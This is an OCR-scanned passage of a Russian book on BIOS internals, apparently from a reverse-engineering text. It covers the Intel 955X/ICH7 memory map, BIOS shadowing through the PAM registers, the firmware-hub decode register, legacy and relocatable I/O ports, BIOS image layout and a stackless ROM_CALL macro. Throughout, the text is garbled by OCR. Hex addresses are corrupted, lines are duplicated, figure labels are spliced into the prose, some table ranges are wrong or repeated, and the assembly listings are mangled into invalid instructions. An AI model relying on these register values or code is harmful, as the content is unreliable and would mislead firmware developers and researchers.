ARIC
ARIC
Диапазон адресовпамяти PCI(субтрактивнодекодируемый в DMI)
Диапазон адресовпамяти PCI(субтрактивнодекодируемый в DMI)
Диапазон адресовосновной памяти
Диапазон адресовосновной памяти
Диапазон адресовнаследуемой памяти
Диапазон адресовнаследуемой памяти
F.FFFFh
F.FFFFh
F_OOOOh
E_FFFFh
F_OOOOh
E_FFFFh
E_OOOOh
D_FFFFh
E_OOOOh
D_FFFFh
C_OOOOh
B_FFFFh
C_OOOOh
B_FFFFh
Область наследуемойвидеопамяти(SMM Memory)128 КВ
Область наследуемойвидеопамяти(SMM Memory)128 КВ
Область MS-DOS
Область MS-DOS
A.OOOOh
9_FFFFh
A.OOOOh
9_FFFFh
0
0
Рис. 4.2. Карта адресов системной памяти чипсета Intel 955X/ICH7,как она интерпретируется процессором сразу же после включения питания
Рис. 4.2. Карта адресов системной памяти чипсета Intel 955X/ICH7,как она интерпретируется процессором сразу же после включения питания
8 В чипсете Intel 955Х контроллер памяти является частью северного моста. В системах AMD64 контроллер памяти встроен в процессор.
8 В чипсете Intel 955Х контроллер памяти является частью северного моста. В системах AMD64 контроллер памяти встроен в процессор.
gaK показано на рис. 4.2, диапазон адресов oxffff_oooo-oxffff_ffff является псевдонимом диапазона адресов 0xf_0000-0xf_ffff . На этот диапазон адресов отображается последний сегмент чипа ROM BIOS. Таким образом, всякий раз, когда программный код выполняет над этим диапазоном операцию записи или чтения, эта операция направляется северным мостом южному, так как ме- ^сду северным мостом и чипом BIOS нет прямой связи. Все вышеизложенное действительно только для начальной стадии процесса загрузки операционной системы, т. е. сразу же после включения питания или жесткой перезагрузки (reset). Обычно после того, как BIOS перепрограммирует регистры северного моста, диапазон адресов Oxf_oooo-Dxf_ffff будет переназначен системной динамической памяти произвольного доступа (DRAM, dynamic-random access memory). Адреса перераспределяются при помощи контрольного регистра DRAM северного моста, расположенного в конфигурационном регистре PCI северного моста. В технической документации на все свои чипсеты компания Intel использует для этих регистров специальное имя — Programmable Attribute Map registers (регистры карты программируемых атрибутов). В спецификации технических характеристик чипсета Intel 955Х Express (Intel 955Х Express Chipset Datasheet), глава 4.1.20, страница 67 (http://download.intel.com/design/chipsets/ datashts/30682801.pdf) приводится следующая информация.
Фрагмент технической спецификации чипсета Intel 955Х Express
РАМО: Регистр 0 карты программируемых атрибутов 0 (do : fo)
Устройство PCI:
0
Смещение адреса:
9 Oh
Значение по умолчанию:
OOh
Доступ:
R/W
Разрядность:
8 битов
Этот регистр контролирует атрибуты чтения, записи и затенения области BIOS от 0F_0000h ДО OF_FFFFh.
Контроллер МСН10 позволяет устанавливать атрибуты на 13 наследуемых сегментов памяти различного объема в диапазоне адресов от 768 Кбайт до 1 Мбайт. Эти возможности реализуются с помощью семи регистров РАМ (Programmable
Десь имеет место совмещение адресов, т. е. использование одного или нескольких пазонов адресов общесистемного адресного пространства для отображения одно- и того же диапазона адресов в одном физическом устройстве. В данном конкрет- м случае диапазон адресов F_OOOOh-F_FFFFh совмещен с диапазоном адресов
10 ^F_0 О 0 Oh-FFFF_FFFFh.
Данном случае под МСН имеется в виду северный мост чипсета Intel 955Х.
Attribute Мар — карта программируемых атрибутов). Возможность кэширования этих областей контролируется с помощью регистров MTRR (Memory Туре Range Registers — регистры типа области памяти) процессора Р6. Для установки атрибутов каждого сегмента памяти используется два бита. Значение этих битов распространяется на обращения к РАМ-областям как процессора, так и инициатора PCI. Существуют следующие атрибуты:
RE (Read Enable — разрешить чтение). Когда RE=1, обращения на чтение от процессора к соответствующему сегменту памяти перехватываются хабом МСН и направляются в основную память. Когда RE=0, обращения процессора на чтение направляются к PRIMARY PCI.
WE (Write Enable — разрешить запись). Когда WE=1, обращения на запись от процессора к соответствующему сегменту памяти перехватываются хабом МСН и направляются в основную память. Когда, наоборот, WE=0, обращения процессора на запись направляются к PRIMARY PCI.
С помощью атрибутов RE и WE сегмент памяти может быть установлен в состояние "только чтение", "только запись", "чтение и запись" или "запрещено" (disabled). Например, если атрибуты сегмента памяти установлены в RE=1 и WE=0, то данный сегмент доступен только для чтения.
Каждый регистр РАМ контролирует два региона, обычно объемом в 16 Кбайт.
Бит
Атрибуты доступа и значение по умолчанию
Описание
7:6
Зарезервированы
5:4
R/W ооь
0F_0000h-0F_FFFFh Attribute (hienable):
Это поле контролирует управление циклами чтения и записи, которое обращается к области BIOS ОТ 0F_0000h ДО 0F_FFFFh
00 = DRAM заблокирована. Все обращения направляются к DMI.
01 = "только чтение". Все обращения на чтение направляются к DRAM. Все обращения на запись направляются к DMI.
= "только запись". Все обращения на запись направляются к DRAM. Обращения на чтение обслуживаются DMI.
= Штатная работа DRAM. Все обращения на чтение и запись обслуживаются DRAM
3:0
Зарезервированы
Итак, спецификация Intel 955Х Express Chipset указывает, что по умолчанию атрибуты доступа диапазона адресов 0xf_0000-0xf_ffff устанавливают-
сЯ в ооь, что соответствует состоянию "DRAM Disabled". Это означает, что зюбые транзакции чтения из этого диапазона или записи в этот диапазон Аресов направляются северным мостом к южному мосту, а не к RAM. Это называется затенением RAM чипом BIOS. Вследствие установок конфигурации северного моста, чип ROM BIOS затеняет часть RAM, делая RAM в этом диапазоне адресов недоступной.
Рис. 4.3. Обращение к содержимому чипа BIOS при установке атрибутов доступа регистра РАМО в состояние "DRAM disabled" (DRAM заблокирована)
Ломаная пунктирная стрелка на рис. 4.3 показывает, что после включения питания или жесткой перезагрузки, когда биты 4 и 5 регистра эон (регистр рано) северного моста Intel 955Х установлены в 0 , транзакции чтения и записи направляются от процессора к чипу ROM BIOS через интерфейс DMI, южный мост и интерфейс LPC. Но имейте в виду, что это относится лишь к обращениям центрального процессора к диапазону адресов 0xF_0000-0xf_ffff.
Рис. 4.4. Обращение к содержимому чипа BIOS при установке атрибутов доступа регистра РАМО в состояние "только запись"
13 По умолчанию, при включении питания значения битов 4 и 5 регистра РАМО устанавливаются в 0.
Ситуация, когда процессор обращается к диапазону адресов охг_оооо- OxF ffff при бите 4 данного регистра, установленном в оь, а бите 5 — 1Ь (эта комбинация соответствует состоянию "только запись"), показана на рис. 4.4.
Здесь длинная ломаная пунктирная стрелка показывает, что транзакции чтения направляются от процессора через северный мост, интерфейс DMI к южному мосту, а оттуда — через интерфейс LPC к чипу ROM BIOS. Короткая ломаная пунктирная стрелка на том же рисунке показывает, что транзакции записи направляются от процессора через северный мост к системной RAM.
РИс- 4.5. Обращение к содержимому чипа BIOS при атрибутах доступа регистра РАМО, установленных в состояние "только чтение"
Ситуация, когда процессор обращается к диапазону адресов Oxf_oooo~ Oxf_ffff при бите 4 регистра РАМО, установленном в 1b, а бите 5 — в оь (эта комбинация атрибутов доступа соответствует состоянию "только чтение"), показана на рис. 4.5.
Здесь длинная ломаная пунктирная стрелка показывает, что транзакции записи направляются от процессора через северный мост, интерфейс DMI к южному мосту, а оттуда — через интерфейс LPC к чипу ROM BIOS. Короткая ломаная стрелка на том же рисунке показывает, что транзакции чтения направляются от процессора через северный мост к системной RAM.
Наконец, ситуация, когда процессор обращается к диапазону адресов 0xf_0000-0xf_ffff при бите 4 данного регистра, установленном в 1Ь и бите 5 — также в 1Ь (эта комбинация атрибутов соответствует установке "штатный режим работы DRAM"), показана на рис. 4.6.
Здесь короткая ломаная пунктирная стрелка показывает, что транзакции чтения и записи направляются от процессора через северный мост к системной RAM.
Перечисленные иллюстрации описывают режимы затенения RAM системной BIOS для последнего сегмента ROM BIOS. Но такой же механизм затенения применяется и для других сегментов ROM BIOS, меняются только регистр, позиция управляющих битов или и то и другое вместе. Этот же механизм применяется и для других чипсетов и шин других архитектур.
Только что рассмотренный механизм затенения позволяет предположить, что когда северный мост разрешает запись в чип ROM BIOS, такие операции может выполнять любой код. Однако это предположение ошибочно, потому что в действительности чип ROM BIOS защищен от записи специальным механизмом, который следует отключить, если вы хотите предоставить коду возможность записи в чип ROM BIOS.
Следовательно, механизм затенения применяется не с целью предоставления возможности записи в чип ROM BIOS, а с целью копирования содержимого этого чипа в системную память, откуда работать с ним можно на порядок быстрее. Например, когда код BIOS устанавливает регистр управления РАМ в состояние "только запись", часть содержимого чипа ROM BIOS считывается из него, а затем записывается в тот же диапазон адресов в системной RAM (так как все транзакции на запись перенаправляются к RAM).
В южный мост материнских плат Intel 955X-ICH7 встроена дополнительная логика, которая управляет обращениями к последнему сегменту чипа ROM BIOS, т. е. к диапазону адресов 0xf_0000-0xf_ffff и его двойнику OxFfff_oooo—Oxffff_ffff. Так, если установки соответствующих управляю
щих регистров разрешают декодирование адресов для диапазона адресов назначения, обращения к этому сегменту направляются через южный мост чипу ROM BIOS. Однако по умолчанию значения управляющего регистра хаба ICH7, устанавливаемые сразу же после подачи питания, разрешают декОдирование всех диапазонов адресов, которые могут использоваться чипом ROM BIOS. Значения битов этого регистра, как они приводятся в технических характеристиках на хаб ICH 7 (Intel I/O Controller Hub 7 (ICH7) Family Datasheet), раздел 10.1.28, страница 378 (http://download.intel.com/design/ chipsets/datashts/30701303.pdf, показаны в табл. 4.2.
Рис. 4.6. Обращение к чипу BIOS при атрибутах доступа регистра РАМО, установленных в состояние "штатная работа DRAM"
Таблица 4.2. Значения битов регистра декодирования адресов хаба ICH?
Бит
Описание
15
fwh_f8_en-ro. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт и одного диапазона адресов объемом в 128 Кбайт хаба FWH (firmware hub — хаб интегрированного программного обеспечения).
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFF8 000Oh-FFFFFFFFh
FFB8 000Oh-FFBFFFFFh
14
fwh_fO_en—r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFF0 0000h-FFF7FFFFh
FFB0 0000h-FFB7FFFFh
13
fwh_e8_en—r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFE8ОООOh-FFEFFFFFh
FFA8000 Oh-FFAFFFFFh
12
fwh_eo_en—R/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFE0ООО0h-FFE7FFFFh
FFA0ООО0h-FFA7FFFFh
11
fwh_d8_en—r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFD8 000Oh-FFDFFFFFh
FF980000h-FF9FFFFFhz
Таблица 4.2 (продолжение)
Бит
Описание
10
fwh_do_en-r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFD00000h-FFD7FFFFh
FF900000h-FF97FFFF>}
9
fwh_C8_en-r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFC8000Oh-FFCFFFFFh
FF8800000h-FF8FFFFFh
8
fwh_co_en—R/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 512 Кбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FFF0 0000h-FFF7FFFFh
FFB0 0000h-FFB7 FFFFh
7
FWH_Legacy_F^.EN-R/w. Этот бит разрешает декодирование унаследованного диапазона адресов FOOOOh-FFFFFh (128 Кбайт).
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FOOOOh-FFFFFh
6
FWH_Legacy_E_EN-R/w. Этот бит разрешает декодирование унаследованного диапазона адресов EOOOOh-EFFFFh (128 Кбайт).
0 = Запрещено■
1 = Разрешены следующие диапазоны адресов для хаба FWH:
EOOOOh-EFFFFh
5:4
—
Зарезервированы
3
fwh_7 o_en-r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 1 Мбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FF70 0000h-FF7F FFFFh
FF30 0000h-FF3F FFFFh
Таблица 4.2 (окончание)
Бит
Описание
2
fwh_60_en—r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 1 Мбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FF60 0000h-FF6F FFFFh
FF20 0000h-FF2F FFFFh
1
fwh_50_en—r/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 1 Мбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FF50 0000h-FF5F FFFFh
FF10 OOOOh-FFlF FFFFh
0
fwh_40_en—R/w. Этот бит разрешает декодирование двух диапазонов адресов объемом в 1 Мбайт хаба FWH.
0 = Запрещено
1 = Разрешены следующие диапазоны адресов для хаба FWH:
FF40 0000h-FF4F FFFFh
FFOO OOOOh-FFOF FFFFh
Любые обращения на чтение или запись к диапазонам адресов, приведенным в табл. 4.2, могут быть остановлены в южном мосте, т. е. не направлены к чипу ROM BIOS, если значения битов регистра управления декодированием хаба FWH не позволяют этим диапазонам адресов быть включенными в декодирование сигнала выборки чипа ROM (romcs#).
На основании вышеизложенного можно сделать вывод, что северный мост отвечает за управление пространством системных адресов, т. е. за затенение BIOS, обработку обращений к RAM и пересылку любых транзакций, напри8' ленных к ROM BIOS через южный мост для дальнейшей пересылки в ROM BIOS. В то же время, южный мост отвечает за работоспособность механизм8 управления декодированием ROM, который направляет (или не направляет/ адреса памяти, к которым выполняется обращение, к чипу ROM BIOS. В за висимости от конфигурационных установок южного и северного мостов лР^ исполнении кода BIOS, адреса, приведенные в табл. 4.3, могут располагать^ или в системной DRAM, или в чипе ROM BIOS.
Таблица 4.3. Таблица адресов чипа ROM BIOS
физический адрес
Псевдоним
Используется в чипах BIOS
Двойник адреса
■^OOfZoOOOIi- 000F_FFFFh
F_s eg/F_segment
1 Мбит, 2 Мбит и 4 Мбит
Двойник диапазона адресов FFFF_0000h- FFFF_FFFFh ДЛЯ ВСвХ чипсетов сразу же после включения питания
000E_0000h- 000E_FFFFh
E_seg/E_s egment
1 Мбит, 2 Мбит и 4 Мбит
Двойник диапазона адресов FFFE_0000h- FFFE_FFFFh ДЛЯ ВСвХ чипсетов сразу же после включения питания
Диапазоны адресов, приведенные в табл. 4.3, содержат код BIOS, уникальный для каждой системы. Поэтому за информацией о его назначении и работе следует обращаться к технической документации. Кроме того, обратите внимание, что из этих двух диапазонов адресов, после исполнения BIOS код BIOS будет храниться только в диапазоне адресов F„seg, т. е. Dxf_oooo- Oxf_ffff. Однако некоторые операционные системы могут использовать этот диапазон адресов для своих нужд. Адреса, приведенные в табл. 4.3, отражают отображение адресного пространства чипа ROM BIOS на системное адресное пространство, только когда оно сконфигурировано для доступа кодом BIOS или иным кодом, обращающимся к чипу ROM BIOS напрямую. Ответственность за отображение определенного участка ROM BIOS на системное адресное пространство лежит на чипсете материнской платы. Как было показано, этим отображением можно манипулировать за счет программирования определенных регистров чипсета. Нижняя область BIOS (т. е. сегменты c_seg, D_seg и другие нижележащие сегменты) чипов BIOS емкостью более 1 Мбит (т. е. чипов емкостью 2 Мбит или 4 Мбит) адресуется совсем иначе. В большинстве случаев эти области отображаются на диапазон Аресов возле границы 4 Гбайт. Этот диапазон адресов обслуживается север- Нь*м мостом подобно диапазону адресов PCI.
На этом основании можно сделать вывод о том, что современные чипсеты эму. лируют обработку диапазонов адресов F_seg и E_seg 7 . Это и является дока, зательством того, что современные х86-совместимые системы поддерживают обратную совместимость. Для заметки, в большинстве х86-совместимых чип. сетов эта система совмещения адресов применяется, по крайней мере, для диа. пазона адресов F-seg, и конфигурационные регистры большинства чипсетов сразу же после включения питания предоставляют только систему адресации по умолчанию для диапазона адресов F-seg, в то время как другие сегменты ROM BIOS остаются недоступны. Система адресации для этих сегментов конфигурируется позже. Эту задачу выполняет код блока начальной загрузки (boot block code) путем программирования соответствующих регистров чипсета (в большинстве случаев, это регистры южного моста).
Вышеизложенные принципы применимы к диапазону систем, начиная от систем, основанных на шине ISA, до современных систем, в которых чип ROM BIOS подключается к южному мосту при помощи интерфейса LPC, введенного компанией Intel.
Малоизвестные аппаратные порты
В технической документации на чипсеты может отсутствовать информация о некоторых малоизвестных аппаратных портах. В то же время, сам факт их включения в чипсет подразумевает, что это — стандартные порты, какими они в действительности и являются. Поэтому в технической документации на некоторые чипсеты они не описываются. По этой же причине техническая документация на чипсеты Intel может быть особенно полезной, так как описания этих портов, не документированных в других спецификациях, имеются в ней всегда. Некоторые из этих портов описываются и в данной книге. Однако, если вам необходима более подробная техническая информация, я рекомендую обратиться к первоисточникам — технической документации от компании Intel (http://www.intel.com). Здесь же я приведу лишь краткие выдержки из технических спецификаций Intel.
Выдержки из технической спецификации Intel на хабы контроллера ввода/вывода ICH и ICHO "Intel 82801А А (ICH) and Intel 82801АВ (ICHO) I/O Controller Hub"
Адрес порта ввода/вывода
Назначение
92h
Регистр 1 nit и Fast А20
4D0h
Ведущий PIC, запускаемый фронтом/уровнем (R/W^.
4Dlh
Ведомый PIC, запускаемый фронтом/уровнем (R/W)^J
17 В дальнейшем под E_seg подразумевается диапазон адресов E_0000h-E_FFFF^
Таблица 146. Регистры ввода/вывода RTC
Порт ввода/вывода
Функция
70h И 74h
Псевдонимы портов 72h и 7 6h. Индексный регистр часов реального времени (стандартная RAM)
71hИ75h
Псевдонимы портов 73h и 77h. Целевой регистр часов реального времени (стандартная RAM)
72hИ76h
Индексный [регистр расширенной RAM (если разрешено)
73hИ77h
Регистр назначения расширенной RAM (если разрешено)
Примечание:
Адреса ввода/вывода 7 Oh и 71h являются стандартными адресами ISA-часов реального времени (real-time clock). Карта этого банка показана в табл. 147. Адреса 72h и 73h используются для доступа к расширенной RAM. Доступ к банку расширенной RAM также осуществляется при помощи схемы индексирования. Адрес ввода/вывода 72h используется как указатель, a 73h — как регистр данных. Индексные адреса выше 127h недействительны. Если расширенная RAM не нужна, ее можно отключить.
Значение бита 7 адреса ввода/вывода должно быть сохранено при помощи программного обеспечения. При записи в этот адрес, приложение должно сначала прочитать это значение, а потом записать это же значение бита 7 во время последовательной записи адреса. Заметьте, что порт 7 Oh не доступный для чтения непосредственно. Этот регистр можно считывать только при помощи режима Alt Access (альтернативный доступ). Если разрешение nmi# не меняется во время нормальной работы, значение этого бита может быть прочитано программным обеспечением один раз и сохранено для всех последующих операций записи в порт 7 Oh.
Часы реального времени содержат два набора индексированных регистров, доступ к которым осуществляется при помощи двух разных регистров — регистра индекса и регистра назначения (7 0/71h или 72/73h), как показано в табл. 147.
Таблица 147. Банк RAM часов реального времени (стандартный)
Индекс
Имя
00h
Секунды
Olh
Сигнал оповещения секунд
02h
Минуты
03h
Сигнал оповещения минут
04h
Часы
05h
Сигнал оповещения часов
Таблица 147 (окончание)
Индекс
Имя
06h
День недели
07h
День месяца
08h
Месяц
09h
Год
ОАН
Регистр А
OBh
Регистр В
ОСН
Регистр С
ODh
Регистр D
0EH-7FH
114 байтов пользовательской RAM
Более того, использование ресурсов ввода-вывода, специфичных для конкретной материнской платы, определяется в спецификации шины LPC. Однако спецификация LPC не охватывает использования всех ресурсов ввода- вывода, а именно адресов ООО он—ooffh. Использование диапазона адресов ввода-вывода шиной LPC показано в табл. 4.4.
Таблица 4.4. Использование адресов ввода-вывода шиной LPC
Устройство
Использование диапазона адресов ввода-вывода
Диапазон(ы) адресов ввода- вывода
Параллельный порт
Один из трех
378H-37FH (+ 778h-77Fh ДЛЯ ЕСР)
278H-27FH (+ 678h-67Fh ДЛЯ ЕСР)
3BCH-3BFH (+ 7BCH-7BFH ДЛЯ ЕСР)
Примечание: Port 279Н — "только чтение", Операции записи к порту 279Н направляются к ISA для plug-and-play^^.
Последовательные порты
Два из восьми
3F8H-3FFH, 2F8H-2FFH,
2 2 Oh-2 2 7h, 228h-22Fh,
23 8H-23FH, 2E8H-2EFH, 338h-33Fh, 3E8h-3EFh
Таблица 4.4 (окончание)
устройство
Использование диапазона адресов ввода-вывода
Диапазон(ы) адресов ввода-вывода
Аудио
Один из четырех
Совместимые с SoundBlaster:
220h-233h,24Oh-253h,
26Oh-273h, 28Oh-293h
'цифровой интерфейс музыкальных инструментов
Один из четырех
3 00h-3 01h, 310h—311h, 32Oh-32lh, 330h-331h
Аудиосистема Microsoft
Один из четырех
53 0h-537h, 604h-60Bh, E80h-E87, F40h-F47h
Контроллер гибких дисков
Один из двух
3F0h—3F7h, 370h-377h
Игровые порты
Два однобайтных диапазона
Каждый отображается на любой байт в диапазоне 200h- 20Fh
Общего назначения
16-битный регистр базового адреса
Размер — 512 байт
Может быть отображен на любую область нижних 64 Кбайт. Конфигурационные регистры АС '97 и другие конфигурационные регистры должны отображаться на этот диапазон. Диапазон достаточно велик и может поддерживать много непредвиденных устройств
Контроллер клавиатуры
60hи64h
Встроенный контроллер
62hи66h
Для непредвиденных _нужд
3 88h—3 89h
Конфигурация моста
Super I/O
2Eh—2Fh
Альтернативная конфигурация моста Super I/O
4Eh-4Fh
аиболее интересным изо всех адресов, приведенных в табл. 4.4, является диапазон адресов, используемый для конфигурации моста Super I/O. В боль- ^инстве ситуаций, эти адреса используются не только для выполнения разных задач, связанных с вводом и выводом, но и для конфигурирования Псета с целью разрешения прямого доступа к чипу BIOS.
Перемещаемые аппаратные порты
Несколько видов аппаратных портов можно перемещать в системном адрес. ном пространстве ввода-вывода. К их числу относятся порты шины SMBus и порты системы управления питанием. Эти порты имеют определенный базовый адрес, который управляется при помощи программируемого регистр0 BAR (base address register — регистр базовых адресов). Для шины SMBus имеется регистр BAR SMBus, а для управления питанием — регистр BAR ввода-вывода системы управления питанием. Так как эти порты можно про- граммировать, процедура блока начальной загрузки инициализирует значение регистров BAR в начале исполнения BIOS. Поскольку эти порты являются программируемыми, дизассемблирование BIOS следует начинать с блока начальной загрузки. Это позволит выяснить, какие адреса ввода-вывода используются этими программируемыми аппаратными портами. Если этого не сделать сразу же, то впоследствии в процессе дальнейшего дизассемблирования вы будете постоянно сталкиваться со странными портами непонятного назначения. В листинге 4.1 показан демонстрационный пример.
Листинг 4.1. Инициализация регистров BAR для шины SMBus и системы конфигурации и управления питанием ACPI для чипсета VIA693A-596B
mov si, 0F6C4h; Указатель на байт маски чипсета и
; адрес регистра приведены ниже
next_PCI_offset:
movex, cs:[si]
movsp, 0F610h
jrrp BBlock_read_pci_byte
dw 0F612h
and al, cs:[si + 2] or al, cs:[si + 3] mov sp, 0F620h
jmp BBlock_write_PCI_byte
dw 0F622h
addsi, 4
enp si, 0F704H; Проверяем, последний ли это байт,
; который нужно записать.
Глава.
4 Знакомимся с системой
119
ex. 3B91h
»О^
mov jnp
al, 50h
sp, 0F65Bh
BB1ock_write_PCI_byte
; Устанавливаем SMBus I/O Base hi_byte на 50h ; так что сейчас порт 5000h является
; базой SMBus I/O.
mov
mov
out
dx, 4005h
al, 80h dx, al
; Обращаемся к регистру 05h ACPI
dw
3B48h
; Базовый адрес регистра ввода-вывода
; системы управления питанием
db
0
; Маска младшего байта базового адреса
; регистра ввода-вывода системы управления
; питанием
db C
; Значение младшего байта базового адреса
; регистра ввода-вывода системы управления
; питанием
db
3B49h
; Базовый адрес регистра ввода-вывода
; системы управления питанием
db
40h ; @
; и маска адреса.
db
40h ; @
; Базовый адрес регистра ввода-вывода
; системы управления питанием =
; порт ввода-вывода 4000h
Кроме только что описанных, имеется множество других перемещаемых портов. Но, по крайней мере, сейчас вы знаете хоть и немного, но хоть что-то ° них. Таким образом, когда вы натолкнетесь на код BIOS, обращающийся к странным портам, вы будете знать, каким образом действовать дальше. Прежде чем завершить этот подраздел, я бы хотел напомнить вам, что перемещаемые регистры имеются и в адресном пространстве памяти. Как уже ■ло показано в главе 7, эти регистры относятся к новым протоколам шин, Таким как PCI Express и HyperTransport, и поэтому здесь они рассматриваться не будут.
4<1-4. Обработка BIOS плат расширения
с^Д™0 также рассмотреть обработку BIOS плат расширения, в частно- ^^ °бработку видео-BIOS. Так как видео-BIOS — это тоже BIOS платы рас- Ния> она обрабатывается точно так же, как и BIOS других плат расши-
'387
рения. Общая процедура обработки BIOS плат расширения PCI во время начальной загрузки следующая:
Системная BIOS определяет все чипы PCI в системе и инициализируй регистры BAR. После завершения инициализации, система будет иметь в своем распоряжении рабочую схему общесистемной адресации.
Системная BIOS затем копирует одну за другой BIOS плат расширения в область RAM для BIOS плат расширения, применяя общесистемную адресацию, и исполняет код этих BIOS из RAM до тех пор, пока все BIOS плат расширения не будут инициализированы.
Структура двоичного кода BIOS
Логическая структура двоичного кода BIOS по отношению к общей схеме системных адресов представлена на рис. 4.7.
В предыдущем разделе было показано, что после включения питания процессор начинает исполнение с инструкции, расположенной по адресу Oxffff_fffo. Этот адрес находится в области, которая называется блоком начальной загрузки (boot block). Здесь хранится несжатая часть двоичного кода BIOS. Таким образом, процессор может непосредственно исполнять код, хранящийся в данной области. Другие области чипа BIOS заняты сжатыми компонентами BIOS, контрольными суммами или просто не используются и заняты байтами-заполнителями. Все современные BIOS, независимо от разработчика, имеют структуру, показанную на рис. 4.7.
Блок начальной загрузки содержит код, при помощи которого проверяются контрольные суммы сжатого компонента BIOS, а также код для распаковки этого компонента. Код, предназначенный для тестирования и инициализации аппаратных средств на раннем этапе загрузки, также находится в области загрузочного блока.
Часть BIOS, ответственная за большинство задач по тестированию и инициализации системы, т. е. за выполнение процедуры POST (power-on self-test -" самотестирование при включении) называется системной BIOS. Хакеры- специализирующиеся на исследовании кода BIOS, иногда называют этот компонент Award BIOS originaLtmp, по имени сжатой системной BIOS. За* вершив выполнение своих задач, код блока начальной загрузки исполняет
иНстрУкиик> безусловного перехода и передает управление системной BIOS. Системная BIOS обрабатывает другие сжатые компоненты BIOS — распако- вЬ1Вает и перемещает их, исполняя распакованный код по мере необходимости.
Аппаратные средства, отображенные на память
Системная RAM(опционно - зависит от чипсета)
FFFF_FFFFhFFFF_E000hFFFF_FFFFhFFFF_E000hБлок начальной загрузкиБлок начальной загрузки
FFFF_FFFFh
FFFF_E000h
FFFF_FFFFh
FFFF_E000h
Блок начальной загрузки
Блок начальной загрузки
Байты-заполнители
п-й сжатый компонент
Диапазон адресовчипа BIOS
3-й сжатый компонент
1 -й сжатый компонент1 -й сжатый компонентFFFF_FFFFh минус объем чипа BIOSFFFF_FFFFh минус объем чипа BIOS2-й сжатый компонент
1 -й сжатый компонент
1 -й сжатый компонент
FFFF_FFFFh минус объем чипа BIOS
FFFF_FFFFh минус объем чипа BIOS
Аппаратные средства,отображенные на память
Системная RAM
Рис. 4.7. Типичное логическое представление двоичного кода BIOSв общесистемном адресном пространстве
Особенности программного обеспечения
Так как некоторые участки кода BIOS исполняются из ROM, исполнение их имеет некоторые особенности. Некоторые из этих особенностей описываютСя в данном подразделе.
4-3.1. Инструкция call
^нструкция call недоступна, когда код BIOS исполняется из чипа ROM Причина этого заключается в том, что инструкция call манипулирует
СТеком, в то время как в чипе ROM BIOS нет записываемой области, которую
можно было использовать под стек. Под манипулированием стеком я имею в виду, что инструкция call неявно исполняет инструкцию push, чтобы со* хранить адрес возврата на стеке. Адрес, на который указывает регистровая пара ss:sp в этот момент, находится в ROM, соответственно, запись по этому адресу невозможна. В таком случае можно спросить, почему бы не использовать для этих целей RAM? Однако этот выход, который на первый взгляд кажется логичным, невозможен. Дело в том, что на данный момент чип DRAM еще не был протестирован BIOS и потому недоступен. Иными словами, BIOS в этот момент даже не знает о существовании RAM. Тем не менее, эта проблема решаема, хоть и окольным путем. Решение состоит в использовании кэша процессора в качестве RAM (cache-as-RAM). Применимо оно, однако, только на современных процессорах. Я рассмотрю это решение чуть позже, в подразд. 433.
Инструкция retn
Макрос rom_call используется для вызова процедур без применения стека. Этим способом вызова процедур приходится пользоваться во время исполнения кода блока Начальной загрузки, так как RAM в это время еще недоступна, и код исполняется из чипа ROM BIOS. В некоторых BIOS вызываемая процедура возвращается в вызывающую посредством инструкции retn. Делается это следующим образом. Как уже говорилось, адрес возврата для инструкции retn указывается в регистровой паре ss:sp. В листинге 4.2 показывается, как это обстоятельство используется в макросе rom_call.
Листинг 4.2. Определение макроса ROM_CALL
ROM_CALLMACRO PROC_ADDR
LOCAL RET_ADDR movsp, offset RET_ADDR
jnpPROC_ADDR
RET_ADDR:dw $ + 2
ENDM
В листинге 4.3 показано практическое применение этого макроса.
листинг 4.3. Пример применения макроса ROM_CALL
PQQQ.61BCmovex, 6Bh; Управление арбитражемDRAM
f000:61BFmovsp, 61C5h
,,000:6102jnpF000_6000_read_pci_byte
p000:61C2 ;
F000:61C5 dw 61C7h
f000:61C7 ;
1?000:61C7 or al, 2; Разрешаем виртуальный канал DRAM.
F000:6000 F000_6000_read_pci_byte proc near
F000:6000 F000:6006 FOOO:6008 F000:600A F000:600D
K000:600F FOOD:6011
mov eax, 80000000b
movax, ex; Копируем адрес смещения в регистр ах.
andal, OFCh; Накладываем маску.
movdx,0CF8h
outdx,eax
movdl,OFCh
ordl,cl;Получаем адрес байта.
F0Q0:6013
F000:6014
inal, dx; Читаем этот байт,
retn
FOOD:6014 F000_6000_read_pci_byte endp
Как можно видеть из листинга 4.3, исполнение инструкции retn зависит от текущего состояния регистровой пары ss:sp. Но ведь перед использованием регистра ss его необходимо инициализировать правильным 16-битным значением защищенного режима, а этого сделано не было! Как же тогда этот код может работать? Ответить на этот вопрос сложно. Давайте рассмотрим ситуацию, когда значение регистра ss модифицировалось в последний раз перед исполнением кода, приведенного в листинге 4.3. Соответствующий фрагмент кода приведен в листинге 4.4.
1истинг4.4. Начальное значение регистра ss в области начальной
